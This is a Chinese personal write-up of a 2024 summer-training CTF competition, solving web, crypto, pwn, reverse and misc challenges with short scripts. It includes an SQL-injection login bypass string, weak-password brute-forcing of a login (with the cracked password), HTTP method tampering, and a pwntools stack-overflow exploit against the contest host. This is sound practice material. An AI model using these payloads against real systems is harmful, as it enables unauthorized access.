2024夏季实训CTF比赛 个人WP
2024夏季实训CTF比赛正式WP
拖到冬天才发。。。
机器人
尝试账号admin 发现密码错误 尝试账号123123 发现账号错误 因此admin账号是正确的
尝试sql注入 万能密码1'or'1'='1 以及其他随便找的可能的注入 无果
访问/robots.txt 发现/secret 是一个弱口令字典
保存进txt 打开burpsuite 弱口令爆破
账号 admin
密码 tequieromucho
登陆,获得flag
机器人2
访问/robots.txt 发现/wp-admin/23123safasfasf9pq8wru9102jiroi1hfyp9iadhsg93wyt
访问/wp-admin/23123safasfasf9pq8wru9102jiroi1hfyp9iadhsg93wyt 获得flag
HTTP—methods
上网查询http有八种访问方法,burpsuite抓包 改包 一个一个试
在put和delete发现两个flag 拼起来获得flag
简单RSA
上课同款脚本一把梭
import gmpy2
from Crypto.Util.number import long_to_bytes
def small_exponent_attack(n, e, c):
# 使用 GMPY2 库进行大整数计算
# 尝试求解密文的 e 次方根
m = gmpy2.iroot(c, e)[0]
# 如果明文 m 的 e 次方等于密文 c,则成功找到明文
if pow(m, e, n) == c:
return m
else:
return None
def main():
# 给定参数
n = 11202402478656345987154212903027662027017538685714428414851415161128957649579889624097845428050614674223429413493115994386322543186138223717850675020752169942732956426176472885925028766558205408305089614383497481232076799084165695727362275842423382201533733014061419650630359887977443386336820758769032463177072269195492232544478119702273135087721947795235143004642572829727324817228271257227813960708961621442463483533783070127572940368705247876561903513698454549396262257105391361111183179935362032902146865412347121731104129232501666511935321820005788300305968516523690300231550783889650193869762921165994192404809
e = 3
c = 3354246622807693497814376144402995120375333350699217397420707331429234099676863720927523159245606048108123789384738710841120280209456235893225846884453
# 尝试进行小指数攻击
plaintext = small_exponent_attack(n, e, c)
if plaintext is not None:
print("明文为:", plaintext)
else:
print("无法解密")
print(long_to_bytes(plaintext))
if __name__ == "__main__":
main()
听说国际象棋有助于走迷宫哦
注意到似乎是个二维码 但是二维的不是很码
根据标题指示 构造国际象棋棋盘 无果
根据图片大小(580 × 580) 放大缩小棋盘 最后猜想为29*29 与原图片异或得到结果
from PIL import Image, ImageDraw
# 创建一个空白的白色图像
image = Image.new('RGB', (580, 580), color='white')
draw = ImageDraw.Draw(image)
# 定义每个小方格的大小
square_size = 580 // 29 # 使用29x29的棋盘
# 绘制棋盘
for i in range(29):
for j in range(29):
x0, y0 = i * square_size, j * square_size
x1, y1 = x0 + square_size, y0 + square_size
if (i + j) % 2 == 0:
draw.rectangle([x0, y0, x1, y1], fill="white")
else:
draw.rectangle([x0, y0, x1, y1], fill="black")
# 保存图像为PNG文件
image.save('chessboard_29x29.png')
变异凯撒
考前一天抱佛脚看buu所有wp 正好看到过buu原题
看出每个字符的偏移量为n+4
写脚本
str="afZ_rM6&#$%O2OR_L\H>HXNEWKPN\\"
k=5
for i in str:
print(chr(ord(i)+k),end='')
k+=1
ezoverflow
丢进ida 栈溢出漏洞
脚本
from pwn import *
p=remote("3.1.3.3",1122)
payload=b'A'*120+p64(0x4011F6)
p.sendline(payload)
p.interactive()
Cyber Attack News!!
第一眼莫名其妙 查看原码发现标题有问题
Pna Lbh Fbyir Guvf, Zngr? 和图片对比发现凯撒13
整个网页没东西了 只能下载font.otf试试
读取了Quals2024.otf,所以试着用FontForge打开。
还真有东西

加上下划线 获得flag
misc最后一题
gpt编写一个二进制转视频脚本 播放获得flag
import numpy as np
import cv2
def decrypt_video(input_file, output_file, width, height, frame_rate):
# 读取二进制文件数据
with open(input_file, 'rb') as f:
data = f.read()
# 计算视频总帧数
frame_size = width * height * 3
total_frames = len(data) // frame_size
# 初始化视频写入器
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
video_writer = cv2.VideoWriter(output_file, fourcc, frame_rate, (width, height))
# 将每一帧写入视频
for i in range(total_frames):
# 从数据中提取每一帧的二进制内容
frame_data = data[i * frame_size: (i + 1) * frame_size]
# 将二进制内容转换成图像帧
frame = np.frombuffer(frame_data, dtype=np.uint8).reshape((height, width, 3))
# 将图像帧写入视频
video_writer.write(frame)
# 释放视频写入器
video_writer.release()
if name == "main":
input_file = "flag.bin"
output_file = "decrypted_video.mp4"
width = 1308
height = 226
frame_rate = 24
decrypt_video(input_file, output_file, width, height, frame_rate)

base32+仿射
套娃题 先开仿射再开base32
最简单的方法就是暴力破解(肯定是可行的,因为一共也没几种ab的可能),但是考试的时候程序手搓不出来,用gpt也破不出,不得不想想办法。
关键信息:base32: 由 A~Z 和 2~7 组成(32种字符)。
题干:CTUEQT55OPVECINMC7BKEINWX3AJ2J5JXPIEWJIFM7TJO55XXPHEYTQROPUZGIF3CDAJORVH
已知flag格式为flag{}
正向base32加密 获得
MZWGCZ33PU======
加密flag{123asdf},获得
MZWGCZ33GEZDGYLTMRTH2===
不难发现前几个字符都是一样的
那么就有了求仿射a,b的思路,思路是这样的
a既然和m互质,那么a的取值就只能是那几个(这些值都不大于m);
b最后加在a上让m取余,那如果b的数值等于m,那就相当于b是0;如果b的数值是(m+1),就就相当于b是1......总之,取余会限制b,让b的数值大小根本不必大于等于m,所以b的取值范围也很有限。
a和b的可能取值都很有限,于是穷举法是具备可行性的:我穷举a和b的各种组合,然后拿其中一组明密文字符的对应来防入加密公式,然后依次判断某一组a和b是否会让公式成立,然后筛选出符合公式的a和b的组合,然后再取一组明密文字符的对应,重复上述操作,直到最后的可能的a和b只剩下一组,那么到这里就是求出a和b的值了。
现在有两组T对应Z,5对应3
网上找到一个程序可用:
from Crypto.Util.number import *
import gmpy2
import sys
affine_table = { # 这是32位的映射表,如果是其他位数的要自己调整(比如:如果是26位,就删掉'2'及其后面的键与值)
'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7,
'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14, 'P': 15,
'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23,
'Y': 24, 'Z': 25, '2': 26, '3': 27, '4': 28, '5': 29, '6': 30, '7': 31
}
re_affine_table = { # 这是反过来后的仿射表,可以从数字转到字符,最终解明文的时候有用。如果是其他位数也需要自己调整
0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H',
8: 'I', 9: 'J', 10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O', 15: 'P',
16: 'Q', 17: 'R', 18: 'S', 19: 'T', 20: 'U', 21: 'V', 22: 'W', 23: 'X',
24: 'Y', 25: 'Z', 26: '2', 27: '3', 28: '4', 29: '5', 30: '6', 31: '7'
}
# 从此处开始是在算a和b的值
run_num = 0 # 拿来记录做出的筛查运算次数
a = 0 # 这边先定义一下可以防止后面使用的时候出现不必要的报错
b = 0
# 第一次筛查运算
m = int(input("请输入模数m:"))
x = input("请输入加密前的字符:").upper() # 这里自动把你输入的字符处理成大写的,这才和字典对得上
y = input("请输入加密后的字符:").upper()
pos_list = []
for a in range(1, m): # 穷举a
if GCD(a, m) == 1: # 这是仿射密码的一个特征:a与m互质。根据这个可以筛掉一部分a
for b in range(1, m): # 穷举b
if (a * affine_table[x] + b) % m == affine_table[y]: # 将符合加密公式的a和b存到一个数组里
pos_list.append([a, b])
run_num += 1 # 更新一下筛查运算次数
print("第%d次筛查运算结果:" % run_num, pos_list)
# 之后的第n次筛查运算(这时候可能的a和b组合应该不止一个)
temp_list = pos_list # 这里赋初值只是为了能进到while循环里
while len(temp_list) > 1: # 反复筛查,直到a和b的组合只剩下1个或者0个
x = input("请再输入加密前的字符:").upper() # 再输入解密前后的一组字符
y = input("请再输入加密后的字符:").upper()
temp_list = [] # 这个是拿来暂存每一次筛除后的a和b组合的数组
for n in range(0, len(pos_list)): # 对现在的所有a和b做进一步筛查
if (pos_list[n][0] * affine_table[x] + pos_list[n][1]) % m == affine_table[y]: # 将符合加密公式的a和b存到一个数组里
temp_list.append(pos_list[n])
pos_list = temp_list # 将这一次筛除后的结果重新放到列表中(相当于把不符合条件的a和b组合给去掉了)
run_num += 1 # 更新一下筛查运算次数
print("第%d次筛查运算结果:" % run_num, pos_list)
if len(temp_list) == 1: # 如果反复处理后只剩下最后一组符合条件的a和b,那就算是求出了a和b的值
a = pos_list[0][0]
b = pos_list[0][1]
print("a与b的值已求出:a=%d, b=%d" % (a, b))
elif len(temp_list) == 0: # 如果处理过了反而发现所有的a和b组合都不符合,就直接结束程序
print("符合条件的a和b根本不存在!你是不是x、y或m输错了?")
sys.exit()
# 从此处开始是在求解密文为明文
print("接下来可以根据得到的a、b和密文来求明文:")
c = input("请输入你的密文:").upper() # 虽然我知道密文一般默认是大写的,但我还是
# 根据公式,应该先求a关于m的乘法逆元
re_a = gmpy2.invert(a, m) # 求乘法逆元
print("最终得到明文:", end='')
for n in c: # 将处理密文和输出明文合成一步来做
print(re_affine_table[re_a * (affine_table[n] - b) % m], end='')
这个时候的运行结果如下:
其实只有两组了 这个时候随便试一下就可以了
再写一个程序:
def find_inverse(num, n):
for i in range(n):
if (num * i) % n == 1:
return i
return -1
def decrypt_affine_cipher(ciphertext, a, b, n):
inverse_a = find_inverse(a, n)
if inverse_a == -1:
return "无法解密,找不到a的逆元"
plaintext = ""
for char in ciphertext:
if char in affine_table:
x = (inverse_a * (affine_table[char] - b)) % n
plaintext += re_affine_table[x]
else:
plaintext += char
return plaintext
affine_table = {
'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7,
'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14, 'P': 15,
'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23,
'Y': 24, 'Z': 25, '2': 26, '3': 27, '4': 28, '5': 29, '6': 30, '7': 31
}
re_affine_table = {
0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H',
8: 'I', 9: 'J', 10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O', 15: 'P',
16: 'Q', 17: 'R', 18: 'S', 19: 'T', 20: 'U', 21: 'V', 22: 'W', 23: 'X',
24: 'Y', 25: 'Z', 26: '2', 27: '3', 28: '4', 29: '5', 30: '6', 31: '7'
}
ciphertext = "CTUEQT55OPVECINMC7BKEINWX3AJ2J5JXPIEWJIFM7TJO55XXPHEYTQROPUZGIF3CDAJORVH"
# a = 5
# b = 22
a = 21
b = 6
n = 32
plaintext = decrypt_affine_cipher(ciphertext, a, b, n)
print(plaintext)
发现只有a=21 b=6的时候,用base32解密前几位和之前flag生成的时候一样。
因此得到结果:

结果用base32解密得到flag:
flag{Affine_Cipher_with_Customized_Alphabet~}
reverse_xor
丢ida 发现主程序异或 找whatisthis数组 拉出来写个脚本再异或回来就行
# .data:0000000000004030 whatIsThat db '3942.d!',0Ah ; DATA XREF: main+87↑o
# .data:0000000000004030 db 'd&',0Ah
# .data:0000000000004030 db '&e',0Ah
# .data:0000000000004030 db '0a&,',0Ah
# .data:0000000000004030 db '7',27h,'e(',0
data = ['3942.d!', 0xA, 'd&', 0x0A, '&e', 0x0A, '0a&', 0x0A, '7', 0x27, 'e(', 0]
result = []
for item in data:
if isinstance(item, int):
result.append(item ^ 0x55)
else:
result.extend([ord(c) ^ 0x55 for c in item])
print(result)
#[102, 108, 97, 103, 123, 49, 116, 95, 49, 115, 95, 115, 48, 95, 101, 52, 115, 95, 98, 114, 48, 125, 85]
result = [102, 108, 97, 103, 123, 49, 116, 95, 49, 115, 95, 115, 48, 95, 101, 52, 115, 95, 98, 114, 48, 125, 85]
flag = "".join([chr(x) for x in result])
print(flag)
今天天气怎么样?
题目文件好像被我删掉了,但是记得应该是有加密和解密的两块,然后
def action3(arr):
for i in range(30):
if i & 1 != 0:
arr[i] += i
else:
arr[i] ^= i
a = [102, 107, 99, 100, 127, 99, 105, 112, 87, 96, 121, 84, 120, 91, 107, 80, 103, 84, 115, 97, 124, 80, 100, 72, 108, 86, 126, 70, 101, 96]
action3(a)
for i in range(30):
print(chr(a[i]), end='')
print()
获得了一个flag{how_is_the_weather_today} 中间忘了,大概是获得a1数组和另一个 好像是str[ ] 最后:rc4
a=[48, 114, 153, 160, 71, 163, 108, 200, 150, 187, 78, 151, 90, 7, 167, 38, 120, 18, 132, 216, 144, 9, 210, 249, 62, 52, 64, 73, 109, 29, 66, 125, 175, 119, 208, 47, 193, 138, 21, 159, 87, 241, 40, 218, 92, 234, 59, 91, 180, 99, 243, 121, 248, 148, 2, 55, 95, 220, 183, 178, 82, 0, 98, 12, 69, 36, 17, 237, 252, 165, 14, 31, 68, 113, 8, 254, 67, 37, 65, 177, 105, 42, 227, 129, 93, 209, 219, 147, 251, 10, 83, 238, 225, 70, 28, 253, 168, 236, 101, 89, 61, 201, 33, 191, 217, 128, 136, 23, 211, 231, 247, 145, 146, 112, 6, 80, 184, 197, 239, 255, 43, 134, 111, 97, 57, 81, 103, 11, 106, 172, 26, 1, 39, 226, 230, 215, 158, 53, 244, 50, 224, 35, 4, 152, 72, 164, 115, 58, 161, 126, 100, 117, 154, 46, 174, 79, 223, 214, 137, 186, 5, 24, 190, 22, 49, 235, 195, 162, 179, 60, 44, 203, 233, 245, 54, 74, 135, 156, 143, 204, 246, 140, 16, 124, 194, 171, 20, 88, 76, 181, 212, 77, 15, 188, 3, 166, 202, 142, 176, 30, 27, 206, 192, 213, 240, 221, 133, 189, 84, 96, 131, 110, 170, 141, 196, 222, 63, 242, 13, 45, 107, 155, 51, 198, 127, 94, 41, 34, 149, 205, 185, 182, 56, 250, 157, 139, 173, 123, 32, 232, 199, 116, 104, 75, 25, 122, 102, 207, 229, 118, 228, 169, 130, 19, 86, 85]
b='flag{how_is_the_weather_today}'
c=[77, 216, 118, 45, 12, 38, 12, 83, 218, 192, 23, 55, 140, 215, 243, 217, 208, 70, 43, 21, 152, 103, 241, 173, 166, 14, 124, 102, 144, 127]
def rc4_decrypt(S, ciphertext):
j = 0
out = []
i = j = 0
for char in ciphertext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
out.append(char ^ k)
return bytes(out)
# 解密
plaintext = rc4_decrypt(a, c)
print("解密后的明文:", plaintext.decode("utf-8"))
#解密后的明文: flag{This_is_a_beautiful_day!}

浙公网安备 33010602011771号